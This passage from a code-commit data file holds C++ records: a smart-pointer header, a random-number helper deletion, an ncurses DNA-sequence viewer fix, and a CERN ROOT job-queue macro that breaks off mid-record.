operator!=(light_ptr const& rhs) const noexcept\n  {\n    return !operator==(rhs);\n  }\n\n  bool operator==(::std::nullptr_t const) const noexcept { return !ptr_; }\n\n  bool operator!=(::std::nullptr_t const) const noexcept { return ptr_; }\n\n  explicit operator bool() const noexcept { return ptr_; }\n\n  typename detail::ref_type<T>::type\n  operator*() const noexcept\n  {\n    return *reinterpret_cast<T*>(ptr_);\n  }\n\n  T* operator->() const noexcept { return reinterpret_cast<T*>(ptr_); }\n\n  template <typename U = T, typename =\n    typename ::std::enable_if<::std::is_array<U>{}>::type>\n  typename detail::ref_type<element_type>::type operator[](\n    ::std::size_t const i) const noexcept\n  {\n    return ptr_[i];\n  }\n\n  element_type* get() const noexcept { return ptr_; }\n\n  void reset() { reset(nullptr); }\n\n  void reset(::std::nullptr_t const)\n  {\n    if (counter_)\n    {\n      counter_->dec_ref(ptr_);\n\n      counter_ = {};\n    }\n    \/\/ else do nothing\n\n    ptr_ = {};\n  }\n\n  template <typename U>\n  void reset(U* const p)\n  {\n    reset(p, [](element_type* const p) {\n      ::std::default_delete<typename deletion_type<T, U>::type>()(\n        static_cast<U*>(p));\n    });\n  }\n\n  template <typename U, typename D>\n  void reset(U* const p, D&& d)\n  {\n    if (counter_)\n    {\n      counter_->dec_ref(ptr_);\n    }\n    \/\/ else do nothing\n\n    counter_ = new counter<D>(detail::counter_type(1), ::std::forward<D>(d));\n\n    ptr_ = p;\n  }\n\n  void swap(light_ptr& other) noexcept\n  {\n    ::std::swap(counter_, other.counter_);\n    ::std::swap(ptr_, other.ptr_);\n  }\n\n  bool unique() const noexcept\n  {\n    return detail::counter_type(1) == use_count();\n  }\n\n  detail::counter_type use_count() const noexcept\n  {\n    return counter_ ?\n      counter_->counter_.load(::std::memory_order_relaxed) :\n      detail::counter_type{};\n  }\n};\n\ntemplate<class T, class ...Args>\ninline light_ptr<T> make_light(Args&& ...args)\n{\n  return light_ptr<T>(new T(::std::forward<Args>(args)...));\n}\n\n}\n\nnamespace std\n{\n  template <typename T>\n  struct hash<::generic::light_ptr<T> >\n  {\n    size_t operator()(::generic::light_ptr<T> const& l) const noexcept\n    {\n      return hash<typename ::generic::light_ptr<T>::element_type*>()(\n        l.counter_);\n    }\n  };\n}\n\n#endif \/\/ LIGHTPTR_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/\/=================================================================================================\n\/\/                    Copyright (C) 2017 Olivier Mallet - All Rights Reserved                      \n\/\/=================================================================================================\n\n#ifndef RANDOMIZE_H\n#define RANDOMIZE_H\n\nnamespace galgo {\n\n\/\/=================================================================================================\n    \n\/\/ template metaprogramming for getting maximum unsigned integral value from N bits\ntemplate <unsigned int N>\nstruct MAXVALUE \n{\n    enum : uint64_t{ value = 2 * MAXVALUE<N - 1>::value };\n};\n\n\/\/ template specialization for initial case N = 0\ntemplate <>\nstruct MAXVALUE<0> \n{\n    enum { value = 1 };\n}; \n\n\/*-------------------------------------------------------------------------------------------------*\/\n    \n\/\/ Mersenne Twister 19937 pseudo-random number generator\nstd::random_device rand_dev;\nstd::mt19937_64 rng(rand_dev());\n\n\/\/ generate uniform random probability in range [0,1)\nstd::uniform_real_distribution<> proba(0, 1);\n\n\/*-------------------------------------------------------------------------------------------------*\/\n\n\/\/ generate a uniform random number within the interval [min,max)\ntemplate <typename T>\ninline T uniform(T min, T max)\n{   \n    #ifndef NDEBUG\n    if (min >= max) {\n      throw std::invalid_argument(\"Error: in galgo::uniform(T, T), first argument must be < to second argument.\");\n    }\n    #endif\n \n    return min + proba(rng) * (max - min);\n}\n\n\/\/=================================================================================================\n\n}\n\n#endif\n<commit_msg>Delete Randomize.hpp<commit_after><|endoftext|>"}
{"text":"<commit_before>#include<seq_view.h>\n\nnamespace SeqView {\n\n    void SeqWindow::_scroll(int64_t newleft, int64_t newtop) {\n        first_seq = newtop;\n        first_pos = newleft;\n        modified = true;\n        display();\n    }\n\n    \/\/ Given the current window size and the width\n    \/\/ of the names, figure out how many sequences and positions\n    \/\/ should be displayed. Also recalculate last_pos and last_seq.\n    void SeqWindow::_recalculate_num_displayed() {\n        \/\/ Need to reserve three lines - two for positions and one\n        \/\/ for the filename\n        \/\/ Need to reserve names_width + 1 columns for names\n        num_pos_displayed = width - names_width - 1;\n        num_seqs_displayed = height - 3;\n        last_pos = first_pos + num_pos_displayed - 1;\n        last_seq = first_seq + num_seqs_displayed - 1;\n        modified = true;\n    }\n\n    void SeqWindow::_display_names() {\n        if(isfocal)\n            wattron(window, A_BOLD);\n        wattron(window, COLOR_PAIR(7));\n        std::vector<string> names = seqs.nameSlice(first_seq, last_seq);\n        for(int i = 0; i < num_seqs_displayed - 1; i++) {\n            mvwprintw(window, i+2, 0, string(names_width + 1, ' ').c_str());\n            if(names_width > names[i].length())\n                mvwprintw(window, i+2, 0, names[i].c_str());\n            else\n                mvwprintw(window, i + 2, 0,\n                        names[i].substr(0, names_width).c_str());\n        }\n        if(isfocal)\n            wattroff(window, A_BOLD);\n        wattroff(window, COLOR_PAIR(7));\n    }\n\n    void SeqWindow::_display_positions() {\n        if(isfocal)\n            wattron(window, A_BOLD);\n        wattron(window, COLOR_PAIR(7));\n        for(int i = 0; i < width; i++) {\n            mvwprintw(window, 0, i, \" \");\n            mvwprintw(window, 1, i, \" \");\n        }\n        int col = names_width + 1;\n        int frame = seqs.get_frame();\n        for(int i = first_pos + 1; i < last_pos + 2; i++) {\n            if(!(i % 10)) {\n                mvwprintw(window, 1, col, \"|\");\n                mvwprintw(window, 0, col, \"%i\", i);\n            } else if(!(i % 5)) {\n                mvwprintw(window, 1, col, \":\");\n            } else {\n                mvwprintw(window, 1, col, \".\");\n            }\n            if(display_mode == CODON) {\n                if((i - frame + 1) % 3 == 0) {\n                    col++;\n                    mvwprintw(window, 1, col, \" \");\n                }\n            }\n            col++;\n            if(col >= width)\n                break;\n        }\n        \/\/ Sometimes the numbers spill over to the next line - this\n        \/\/ gets rid of that.\n        mvwprintw(window, 1, 0, string(names_width, ' ').c_str());\n        if(isfocal)\n            wattroff(window, A_BOLD);\n        wattroff(window, COLOR_PAIR(7));\n    }\n\n    void SeqWindow::_display_seqs() {\n        \/\/ This function is more tricky - will require some added\n        \/\/ arguments for formatting eventually.\n        \/\/ Also may require some adjustment to color amino acid\n        \/\/ sequences properly.\n        std::pair< std::vector<string>, std::vector<bool> > \n            s= seqs.slice(first_pos, last_pos, first_seq, last_seq,\n                    display_mode, compare);\n        std::vector<string> sequences = s.first;\n        std::vector<bool> comps = s.second;\n        int row = 2;\n        char ch;\n        int col;\n        if(bolded)\n            wattron(window, A_BOLD);\n        for(int i = 0; i < num_seqs_displayed - 1; i++) {\n            for(int j = 0; j < sequences[i].length(); j++) {\n                if(compare && comps[j] && (i + first_seq) < seqs.numseqs())\n                    wattron(window, A_REVERSE);\n                ch = sequences[i][j];\n                if(ch == 'A' || ch == 'a')\n                    wattron(window, COLOR_PAIR(1));\n                else if(ch == 'T' || ch == 't')\n                    wattron(window, COLOR_PAIR(2));\n                else if(ch == 'G' || ch == 'g')\n                    wattron(window, COLOR_PAIR(3));\n                else if(ch == 'C' || ch == 'c')\n                    wattron(window, COLOR_PAIR(4));\n                else\n                    col = 7;\n                mvwaddch(window, row, names_width + 1 + j, ch);\n                wattroff(window, COLOR_PAIR(col));\n                if(compare && comps[j])\n                    wattroff(window, A_REVERSE);\n            }\n            row++;\n        }\n        if(bolded)\n            wattroff(window, A_BOLD);\n    }\n\n    void SeqWindow::_display_filename() {\n        \/\/ display at bottom\n        wattron(window, COLOR_PAIR(7) | A_UNDERLINE);\n        if(isfocal)\n            wattron(window, A_REVERSE | A_BOLD);\n        mvwprintw(window, height - 2, 0, seqs.filename.c_str());\n        for(int i = seqs.filename.length() + 1; i <= width; i++)\n            mvwprintw(window, height - 2, i - 1, \" \");\n        if(isfocal)\n            wattroff(window, A_REVERSE | A_BOLD);\n        wattroff(window, COLOR_PAIR(7) | A_UNDERLINE);\n    }\n\n\n    SeqWindow::SeqWindow() {\n        modified = true;\n        compare = false;\n        bolded = true;\n    }\n\n    SeqWindow::SeqWindow(int upperleftX, int upperleftY, \n            int _width, int _height, SeqSet &sq) {\n        window = newwin(_height, _width, upperleftY, upperleftX);\n        width = _width;\n        height = _height;\n        seqs = sq;\n        scrollmode = 1;\n        display_mode = NORMAL;\n        names_width = 15;\n        first_pos = 0;\n        first_seq = 0;\n        update_size();\n        _recalculate_num_displayed();\n        isfocal = true;\n        bolded = true;\n        modified = true;\n        compare = false;\n        display();\n    }\n\n    SeqWindow::SeqWindow(int upperleftX, int upperleftY, \n            int _width, int _height, string filename,\n            ParserFunction parser) {\n        SeqSet sq;\n        parser(filename, sq);\n        window = newwin(_height, _width, upperleftY, upperleftX);\n        width = _width + 1;\n        height = _height + 1;\n        seqs = sq;\n        scrollmode = 1;\n        display_mode = NORMAL;\n        names_width = 15;\n        first_pos = 0;\n        first_seq = 0;\n        update_size();\n        _recalculate_num_displayed();\n        bolded = true;\n        modified = true;\n        compare = false;\n        display();\n    }\n\n    SeqWindow::~SeqWindow() {\n        wattron(window, COLOR_PAIR(8));\n        for(int i = 0; i < height; i++) {\n            mvwprintw(window, i, 0, string(width, ' ').c_str());\n        }\n        wattroff(window, COLOR_PAIR(8));\n        wrefresh(window);\n        delwin(window);\n    }\n\n    void SeqWindow::set_focus(bool focal) {\n        isfocal = focal;\n        modified = true;\n    }\n\n    \/\/ scroll mode is in powers of 10\n    void SeqWindow::set_scroll_mode(int mode) {\n        if(mode < 0 || mode > 9)\n            return;\n        scrollmode = pow(10, mode);\n    }\n\n    void SeqWindow::update_size() {\n        getmaxyx(window, height, width);\n        height += 1;\n        width += 1;\n    }\n\n    void SeqWindow::change_name_width(int newwidth) {\n        if(newwidth < width - 5  && newwidth > 1) {\n            names_width = newwidth;\n            update_size();\n            _recalculate_num_displayed();\n        }\n    }\n\n    \/\/ Deal with commands that change SeqSet params\n    void SeqWindow::handle_command(Command command) {\n        Com com_name = command.first;\n        int param = command.second;\n        int newpos;\n        if(com_name == SCROLLUP) {\n            if(first_seq > 0) {\n                newpos = first_seq - param;\n                if(newpos < 0)\n                    newpos = 0;\n                _scroll(first_pos, newpos);\n            }\n        } else if(com_name == SCROLLDOWN) {\n            if(first_seq < seqs.numseqs()) {\n                newpos = first_seq + param;\n                if(newpos >= seqs.numseqs())\n                    newpos = seqs.numseqs() - 1;\n                _scroll(first_pos, newpos);\n            }\n        } else if(com_name == SCROLLLEFT) {\n            if(first_pos > 0) {\n                newpos = first_pos - scrollmode * param;\n                if(newpos < 0)\n                    newpos = 0;\n                _scroll(newpos, first_seq);\n            }\n        } else if(com_name == SCROLLRIGHT) {\n            if(first_pos < seqs.length()) {\n                newpos = first_pos + scrollmode * param;\n                if(newpos >= seqs.length())\n                    newpos = seqs.length() - 1;\n                _scroll(newpos, first_seq);\n            }\n        } else if(com_name == SCROLLTOP) {\n            _scroll(first_pos, 0);\n        } else if(com_name == SCROLLBOTTOM) {\n            _scroll(first_pos, seqs.numseqs() - 1);\n        } else if(com_name == GOTOBEGIN) {\n            _scroll(0, first_seq);\n        } else if(com_name == GOTOEND) {\n            _scroll(seqs.length() - 1, first_seq);\n        } else if(com_name == GOTO) {\n            newpos = param - 1 - (width - names_width) \/ 2;\n            if(display_mode == CODON)\n                newpos += (width - names_width) \/ 6;\n            if(newpos < 0)\n                newpos = 0;\n            if(newpos > seqs.length() - 1)\n                newpos = seqs.length() - 1;\n            _scroll(newpos, first_seq);\n        } else if(com_name == SCROLLMODE) {\n            set_scroll_mode(param);\n        } else if(com_name == NAMEWIDTH) {\n            change_name_width(param);\n        } else if(com_name == DISPLAYMODE) {\n            if(param == 1)\n                display_mode = NORMAL;\n            else if(param == 2)\n                display_mode = CODON;\n            modified = true;\n        } else if(com_name == SETFRAME) {\n            seqs.set_frame(param);\n            modified = true;\n        } else if(com_name == COMPARE) {\n            compare = !compare;\n            modified = true;\n        } else if(com_name == TOGGLEBOLD) {\n            bolded = !bolded;\n            modified = true;\n        }\n    }\n\n    void SeqWindow::resize(int upperleftX, int upperleftY,\n            int newwidth, int newheight) {\n        wattron(window, COLOR_PAIR(8));\n        for(int i = 0; i < height; i++) {\n            mvwprintw(window, i, 0, string(width, ' ').c_str());\n        }\n        wrefresh(window);\n        delwin(window);\n        window = newwin(newheight, newwidth,\n                upperleftY, upperleftX);\n        height = newheight;\n        width = newwidth;\n        update_size();\n        _recalculate_num_displayed();\n        modified = true;\n        display();\n    }\n\n    \/\/ Refresh, get the slice of the sequence, add the formatting,\n    \/\/ and use wprintw to put everything on the screen.\n    void SeqWindow::display() {\n        int w = width;\n        int h = height;\n        update_size();\n        if(w != width || h != height)\n            modified = true;\n        if(modified) {\n            _recalculate_num_displayed();\n            _display_names();\n            _display_positions();\n            _display_seqs();\n            _display_filename();\n            wrefresh(window);\n        } else {\n        }\n    }\n}\n<commit_msg>Small fix to comparison display code.<commit_after>#include<seq_view.h>\n\nnamespace SeqView {\n\n    void SeqWindow::_scroll(int64_t newleft, int64_t newtop) {\n        first_seq = newtop;\n        first_pos = newleft;\n        modified = true;\n        display();\n    }\n\n    \/\/ Given the current window size and the width\n    \/\/ of the names, figure out how many sequences and positions\n    \/\/ should be displayed. Also recalculate last_pos and last_seq.\n    void SeqWindow::_recalculate_num_displayed() {\n        \/\/ Need to reserve three lines - two for positions and one\n        \/\/ for the filename\n        \/\/ Need to reserve names_width + 1 columns for names\n        num_pos_displayed = width - names_width - 1;\n        num_seqs_displayed = height - 3;\n        last_pos = first_pos + num_pos_displayed - 1;\n        last_seq = first_seq + num_seqs_displayed - 1;\n        modified = true;\n    }\n\n    void SeqWindow::_display_names() {\n        if(isfocal)\n            wattron(window, A_BOLD);\n        wattron(window, COLOR_PAIR(7));\n        std::vector<string> names = seqs.nameSlice(first_seq, last_seq);\n        for(int i = 0; i < num_seqs_displayed - 1; i++) {\n            mvwprintw(window, i+2, 0, string(names_width + 1, ' ').c_str());\n            if(names_width > names[i].length())\n                mvwprintw(window, i+2, 0, names[i].c_str());\n            else\n                mvwprintw(window, i + 2, 0,\n                        names[i].substr(0, names_width).c_str());\n        }\n        if(isfocal)\n            wattroff(window, A_BOLD);\n        wattroff(window, COLOR_PAIR(7));\n    }\n\n    void SeqWindow::_display_positions() {\n        if(isfocal)\n            wattron(window, A_BOLD);\n        wattron(window, COLOR_PAIR(7));\n        for(int i = 0; i < width; i++) {\n            mvwprintw(window, 0, i, \" \");\n            mvwprintw(window, 1, i, \" \");\n        }\n        int col = names_width + 1;\n        int frame = seqs.get_frame();\n        for(int i = first_pos + 1; i < last_pos + 2; i++) {\n            if(!(i % 10)) {\n                mvwprintw(window, 1, col, \"|\");\n                mvwprintw(window, 0, col, \"%i\", i);\n            } else if(!(i % 5)) {\n                mvwprintw(window, 1, col, \":\");\n            } else {\n                mvwprintw(window, 1, col, \".\");\n            }\n            if(display_mode == CODON) {\n                if((i - frame + 1) % 3 == 0) {\n                    col++;\n                    mvwprintw(window, 1, col, \" \");\n                }\n            }\n            col++;\n            if(col >= width)\n                break;\n        }\n        \/\/ Sometimes the numbers spill over to the next line - this\n        \/\/ gets rid of that.\n        mvwprintw(window, 1, 0, string(names_width, ' ').c_str());\n        if(isfocal)\n            wattroff(window, A_BOLD);\n        wattroff(window, COLOR_PAIR(7));\n    }\n\n    void SeqWindow::_display_seqs() {\n        \/\/ This function is more tricky - will require some added\n        \/\/ arguments for formatting eventually.\n        \/\/ Also may require some adjustment to color amino acid\n        \/\/ sequences properly.\n        std::pair< std::vector<string>, std::vector<bool> > \n            s= seqs.slice(first_pos, last_pos, first_seq, last_seq,\n                    display_mode, compare);\n        std::vector<string> sequences = s.first;\n        std::vector<bool> comps = s.second;\n        int row = 2;\n        char ch;\n        int col;\n        if(bolded)\n            wattron(window, A_BOLD);\n        for(int i = 0; i < num_seqs_displayed - 1; i++) {\n            for(int j = 0; j < sequences[i].length(); j++) {\n                ch = sequences[i][j];\n                if(compare && comps[j] && (i + first_seq) < seqs.numseqs() && ch != ' ')\n                    wattron(window, A_REVERSE);\n                if(ch == 'A' || ch == 'a')\n                    wattron(window, COLOR_PAIR(1));\n                else if(ch == 'T' || ch == 't')\n                    wattron(window, COLOR_PAIR(2));\n                else if(ch == 'G' || ch == 'g')\n                    wattron(window, COLOR_PAIR(3));\n                else if(ch == 'C' || ch == 'c')\n                    wattron(window, COLOR_PAIR(4));\n                else\n                    col = 7;\n                mvwaddch(window, row, names_width + 1 + j, ch);\n                wattroff(window, COLOR_PAIR(col));\n                if(compare && comps[j])\n                    wattroff(window, A_REVERSE);\n            }\n            row++;\n        }\n        if(bolded)\n            wattroff(window, A_BOLD);\n    }\n\n    void SeqWindow::_display_filename() {\n        \/\/ display at bottom\n        wattron(window, COLOR_PAIR(7) | A_UNDERLINE);\n        if(isfocal)\n            wattron(window, A_REVERSE | A_BOLD);\n        mvwprintw(window, height - 2, 0, seqs.filename.c_str());\n        for(int i = seqs.filename.length() + 1; i <= width; i++)\n            mvwprintw(window, height - 2, i - 1, \" \");\n        if(isfocal)\n            wattroff(window, A_REVERSE | A_BOLD);\n        wattroff(window, COLOR_PAIR(7) | A_UNDERLINE);\n    }\n\n\n    SeqWindow::SeqWindow() {\n        modified = true;\n        compare = false;\n        bolded = true;\n    }\n\n    SeqWindow::SeqWindow(int upperleftX, int upperleftY, \n            int _width, int _height, SeqSet &sq) {\n        window = newwin(_height, _width, upperleftY, upperleftX);\n        width = _width;\n        height = _height;\n        seqs = sq;\n        scrollmode = 1;\n        display_mode = NORMAL;\n        names_width = 15;\n        first_pos = 0;\n        first_seq = 0;\n        update_size();\n        _recalculate_num_displayed();\n        isfocal = true;\n        bolded = true;\n        modified = true;\n        compare = false;\n        display();\n    }\n\n    SeqWindow::SeqWindow(int upperleftX, int upperleftY, \n            int _width, int _height, string filename,\n            ParserFunction parser) {\n        SeqSet sq;\n        parser(filename, sq);\n        window = newwin(_height, _width, upperleftY, upperleftX);\n        width = _width + 1;\n        height = _height + 1;\n        seqs = sq;\n        scrollmode = 1;\n        display_mode = NORMAL;\n        names_width = 15;\n        first_pos = 0;\n        first_seq = 0;\n        update_size();\n        _recalculate_num_displayed();\n        bolded = true;\n        modified = true;\n        compare = false;\n        display();\n    }\n\n    SeqWindow::~SeqWindow() {\n        wattron(window, COLOR_PAIR(8));\n        for(int i = 0; i < height; i++) {\n            mvwprintw(window, i, 0, string(width, ' ').c_str());\n        }\n        wattroff(window, COLOR_PAIR(8));\n        wrefresh(window);\n        delwin(window);\n    }\n\n    void SeqWindow::set_focus(bool focal) {\n        isfocal = focal;\n        modified = true;\n    }\n\n    \/\/ scroll mode is in powers of 10\n    void SeqWindow::set_scroll_mode(int mode) {\n        if(mode < 0 || mode > 9)\n            return;\n        scrollmode = pow(10, mode);\n    }\n\n    void SeqWindow::update_size() {\n        getmaxyx(window, height, width);\n        height += 1;\n        width += 1;\n    }\n\n    void SeqWindow::change_name_width(int newwidth) {\n        if(newwidth < width - 5  && newwidth > 1) {\n            names_width = newwidth;\n            update_size();\n            _recalculate_num_displayed();\n        }\n    }\n\n    \/\/ Deal with commands that change SeqSet params\n    void SeqWindow::handle_command(Command command) {\n        Com com_name = command.first;\n        int param = command.second;\n        int newpos;\n        if(com_name == SCROLLUP) {\n            if(first_seq > 0) {\n                newpos = first_seq - param;\n                if(newpos < 0)\n                    newpos = 0;\n                _scroll(first_pos, newpos);\n            }\n        } else if(com_name == SCROLLDOWN) {\n            if(first_seq < seqs.numseqs()) {\n                newpos = first_seq + param;\n                if(newpos >= seqs.numseqs())\n                    newpos = seqs.numseqs() - 1;\n                _scroll(first_pos, newpos);\n            }\n        } else if(com_name == SCROLLLEFT) {\n            if(first_pos > 0) {\n                newpos = first_pos - scrollmode * param;\n                if(newpos < 0)\n                    newpos = 0;\n                _scroll(newpos, first_seq);\n            }\n        } else if(com_name == SCROLLRIGHT) {\n            if(first_pos < seqs.length()) {\n                newpos = first_pos + scrollmode * param;\n                if(newpos >= seqs.length())\n                    newpos = seqs.length() - 1;\n                _scroll(newpos, first_seq);\n            }\n        } else if(com_name == SCROLLTOP) {\n            _scroll(first_pos, 0);\n        } else if(com_name == SCROLLBOTTOM) {\n            _scroll(first_pos, seqs.numseqs() - 1);\n        } else if(com_name == GOTOBEGIN) {\n            _scroll(0, first_seq);\n        } else if(com_name == GOTOEND) {\n            _scroll(seqs.length() - 1, first_seq);\n        } else if(com_name == GOTO) {\n            newpos = param - 1 - (width - names_width) \/ 2;\n            if(display_mode == CODON)\n                newpos += (width - names_width) \/ 6;\n            if(newpos < 0)\n                newpos = 0;\n            if(newpos > seqs.length() - 1)\n                newpos = seqs.length() - 1;\n            _scroll(newpos, first_seq);\n        } else if(com_name == SCROLLMODE) {\n            set_scroll_mode(param);\n        } else if(com_name == NAMEWIDTH) {\n            change_name_width(param);\n        } else if(com_name == DISPLAYMODE) {\n            if(param == 1)\n                display_mode = NORMAL;\n            else if(param == 2)\n                display_mode = CODON;\n            modified = true;\n        } else if(com_name == SETFRAME) {\n            seqs.set_frame(param);\n            modified = true;\n        } else if(com_name == COMPARE) {\n            compare = !compare;\n            modified = true;\n        } else if(com_name == TOGGLEBOLD) {\n            bolded = !bolded;\n            modified = true;\n        }\n    }\n\n    void SeqWindow::resize(int upperleftX, int upperleftY,\n            int newwidth, int newheight) {\n        wattron(window, COLOR_PAIR(8));\n        for(int i = 0; i < height; i++) {\n            mvwprintw(window, i, 0, string(width, ' ').c_str());\n        }\n        wrefresh(window);\n        delwin(window);\n        window = newwin(newheight, newwidth,\n                upperleftY, upperleftX);\n        height = newheight;\n        width = newwidth;\n        update_size();\n        _recalculate_num_displayed();\n        modified = true;\n        display();\n    }\n\n    \/\/ Refresh, get the slice of the sequence, add the formatting,\n    \/\/ and use wprintw to put everything on the screen.\n    void SeqWindow::display() {\n        int w = width;\n        int h = height;\n        update_size();\n        if(w != width || h != height)\n            modified = true;\n        if(modified) {\n            _recalculate_num_displayed();\n            _display_names();\n            _display_positions();\n            _display_seqs();\n            _display_filename();\n            wrefresh(window);\n        } else {\n        }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/#include <fstream>\n\/\/#include <TFile.h>\n\/\/#include <TSystem.h>\n\n\n\/*\n\n  Process all jobs specified in the job.list file\n  Concurent agents acces the list\n  Once starting to procces given job the jonb is locked \n\n*\/\n\n\n\n\/*\n\n\n.L $ALICE_ROOT\/TPC\/macros\/testTPC\/AliTPCjobs.cxx+\n \n\nAliTPCJobs jobs;\njobs.fJobFile=\"job.list\"\njobs.ProcessAllJobs();\n*\/\n\n\nclass AliTPCJobs : public TNamed{\npublic:\n  AliTPCJobs();\n  void ProcessAllJobs();\n  Bool_t GetNextJob();\n  void ProcessJob(TString jobID, TString inputData, TString outputDir, TString   action);\n  \n  void    SetLock(TString jobID);\n  void    SetDone(TString jobID);\n  void    SetFail(TString jobID);\n\n  Int_t   Stage(TString inputData,TString jobID);\n\n  Bool_t  IsLocked(TString jobID);\n  Bool_t  IsFail(TString jobID);\n  Bool_t  IsStaged(TString inputData);\n  Bool_t  IsCastorFile(TString filename);\n\n  TString  fJobFile;\n  TString  fWorkDir;\n  ClassDef(AliTPCJobs,0)\n};\n\n ClassImp(AliTPCJobs)\n\nAliTPCJobs::AliTPCJobs(){\n  \/\/ \n  \/\/\n  \/\/\n  gSystem->Load(\"libXrdClient.so\");\n  gSystem->Load(\"libNetx.so\");\n}\n\nvoid AliTPCJobs::ProcessAllJobs(){\n  \/\/\n  \/\/\n  \/\/\n  Int_t counter=0;\n  while (GetNextJob()){\n    \/\/\n    printf(\"PROCESSING JOB\\t%d\\n\",counter);\n    counter++;\n    if (!GetNextJob()) break;   \n  }\n}\n\n\nBool_t AliTPCJobs::GetNextJob(){\n  \/\/\n  \/\/ GetNextJob  - get job from the list which is not locked\n  \/\/\n  ifstream ins;\n  ins.open(fJobFile);\n  TString id;\n  TString inputData;\n  TString outputDir;\n  TString action;\n  Bool_t hasJob=kFALSE;\n  while(ins.good()) {\n    ins>>id;\n    ins>>inputData;\n    ins>>outputDir;\n    ins>>action;\n    if (!inputData.Contains(\".root\")) SetFail(id);\n    if (!IsStaged(inputData)){\n\tStage(inputData,id);\n\tcontinue;\n    }\n    if (IsFail(id)) continue;\n    if (!IsLocked(id)){\n      hasJob=kTRUE;\n      break;\n    }\n  }\n  printf(\"Process %s\\n\",id.Data());\n  if (hasJob) ProcessJob(id,inputData,outputDir, action);\n  return hasJob;\n}\n\n\nvoid    AliTPCJobs::SetLock(TString jobID){\n  printf(\"touch out\/%s.lock\\n\",jobID.Data());\n  gSystem->Exec(Form(\"touch out\/%s.lock\",jobID.Data()));\n}\n\nvoid    AliTPCJobs::SetDone(TString jobID){ \n  printf(\"touch out\/%s.done\\n\",jobID.Data());\n  gSystem->Exec(Form(\"touch out\/%s.done\", jobID.Data()));\n}\n\nvoid    AliTPCJobs::SetFail(TString jobID){\n  printf(\"touch out\/%s.fail\\n\",jobID.Data());\n  gSystem->Exec(Form(\"touch out\/%s.fail\", jobID.Data()));\n}\n\nvoid  AliTPCJobs::Stage(TString inputData, TString jobID){\n  \/\/\n  \/\/ stage file\n  \/\/\n  inputData.ReplaceAll(\"root:\/\/voalice04.cern.ch:1094\/\",\"\");\n  if ( !IsCastorFile(inputData) ) return;\n  char command[1000];\n  sprintf(command,\"stager_get -M %s \\| grep SUBREQUEST_FAILED \",inputData.Data());\n  FILE *pipe = gSystem->OpenPipe(command,\"r\");\n  TString result;\n  result.Gets(pipe);\n  gSystem->ClosePipe(pipe);\n  if ( result.Contains(\"SUBREQUEST_FAILED\") ){\n      SetFail(jobID);\n  }\n}\n\nBool_t    AliTPCJobs::IsLocked(TString jobID){\n  TString path = \"out\/\";\n  path+=jobID;\n  path+=\".lock\";\n  Long_t pid; Long_t psize; Long_t pflags; Long_t pmodtime;\n  Int_t status = gSystem->GetPathInfo(path,&pid,&psize,&pflags,&pmodtime);\n  return (status==0);\n}\n\nBool_t    AliTPCJobs::IsFail(TString jobID){\n  TString path = \"out\/\";\n  path+=jobID;\n  path+=\".fail\";\n  Long_t pid; Long_t psize; Long_t pflags; Long_t pmodtime;\n  Int_t status = gSystem->GetPathInfo(path,&pid,&psize,&pflags,&pmodtime);\n  return (status==0);\n}\n\nBool_t  AliTPCJobs::IsStaged(TString inputData){\n  \/\/\n  \/\/ check if file bname is staged\n  \/\/\n  inputData.ReplaceAll(\"root:\/\/voalice04.cern.ch:1094\/\",\"\");\n  if ( !IsCastorFile(inputData) ) return kTRUE;\n  char command[1000];\n  sprintf(command,\"stager_qry -M %s \\| grep \/castor \\| gawk  \\'{ print $3;}\\'\",inputData.Data());\n  FILE *pipe = gSystem->OpenPipe(command,\"r\");\n  TString result;\n  result.Gets(pipe);\n  gSystem->ClosePipe(pipe);\n  if ( result.Contains(\"STAGED\") ) return kTRUE;\n\n  return kFALSE;\n}\n\nBool_t  AliTPCJobs::IsCastorFile(TString filename){\n  \/\/\n  \/\/ check if filename begins with 'castor'\n  \/\/\n  return filename.BeginsWith(\"\/castor\/\");\n}\n\n\nvoid AliTPCJobs::ProcessJob(TString jobID, TString inputData, TString outputDir, TString   action){\n  \/\/\n  \/\/\n  \/\/ 1. Create lock file\n  \/\/ 2. Get Input data\n  \/\/ 3. Process data\n  \/\/ 4. Create Done file\n  SetLock(jobID);\n  if (action.Contains(\"COPY\")){\n    char command[10000];\n      sprintf(command,\"xrdcp  -DIFirstConnectMaxCnt 4 -DIConnectTimeout 4 -DIRequestTimeout 4 -DIMaxRedirectcount 4 -DIRedirCntTimeout 4 %s\\t%s\\n\",inputData.Data(), outputDir.Data());\n    printf(\"Exec\\t%s\\n\", command);\n    gSystem->Exec(command);\n    \/\/TFile::Cp(inputData.Data(), outputDir.Data());\n  }else{\n    char command[10000];\n    \/\/sprintf(command,\"$ALICE_ROOT\/TPC\/macros\/testTPC\/action.sh %s %s %s %s\", jobID.Data(), inputData.Data(), outputDir.Data(), action.Data());    \n    sprintf(command,\"\/afs\/cern.ch\/user\/w\/wiechula\/SOURCE\/aliroot\/job_agend\/action.sh %s %s %s %s\", jobID.Data(), inputData.Data(), outputDir.Data(), action.Data());\n    printf(\"%s\\n\\n\",command);\n    gSystem->Exec(command);\n    printf(\"\\n\\n\");\n\n    \/\/ create temp work dir\n\/\/    TString processDir=fWorkDir+jobID+action;\n\/\/    Int_t res = gSystem->mkdir(processDir,kTRUE);\n\/\/    if ( res==-1 ){\n\/\/\tAliWarning(Form(\"Cannot create dir\/already exists: '%s'\",processDir.Data()));\n\/\/\treturn;\n\/\/    }\n  }\n  SetDone(jobID);\n}\n\n\n\nvoid AliTPCjobs(){\n  \/\/\n  \/\/\n  \/\/\n  AliTPCJobs jobs;\n  jobs.fJobFile=\"job.list\";\n  jobs.ProcessAllJobs();\n}\n<commit_msg>Don't call stage function (Marian)<commit_after>\/\/#include <fstream>\n\/\/#include <TFile.h>\n\/\/#include <TSystem.h>\n\n\n\/*\n\n  Process all jobs specified in the job.list file\n  Concurent agents acces the list\n  Once starting to procces given job the jonb is locked \n\n*\/\n\n\n\n\/*\n\n\n.L $ALICE_ROOT\/TPC\/macros\/testTPC\/AliTPCjobs.cxx+\n \n\nAliTPCJobs jobs;\njobs.fJobFile=\"job.list\"\njobs.ProcessAllJobs();\n*\/\n\n\nclass AliTPCJobs : public TNamed{\npublic:\n  AliTPCJobs();\n  void ProcessAllJobs();\n  Bool_t GetNextJob();\n  void ProcessJob(TString jobID, TString inputData, TString outputDir, TString   action);\n  \n  void    SetLock(TString jobID);\n  void    SetDone(TString jobID);\n  void    SetFail(TString jobID);\n\n  Int_t   Stage(TString inputData,TString jobID);\n\n  Bool_t  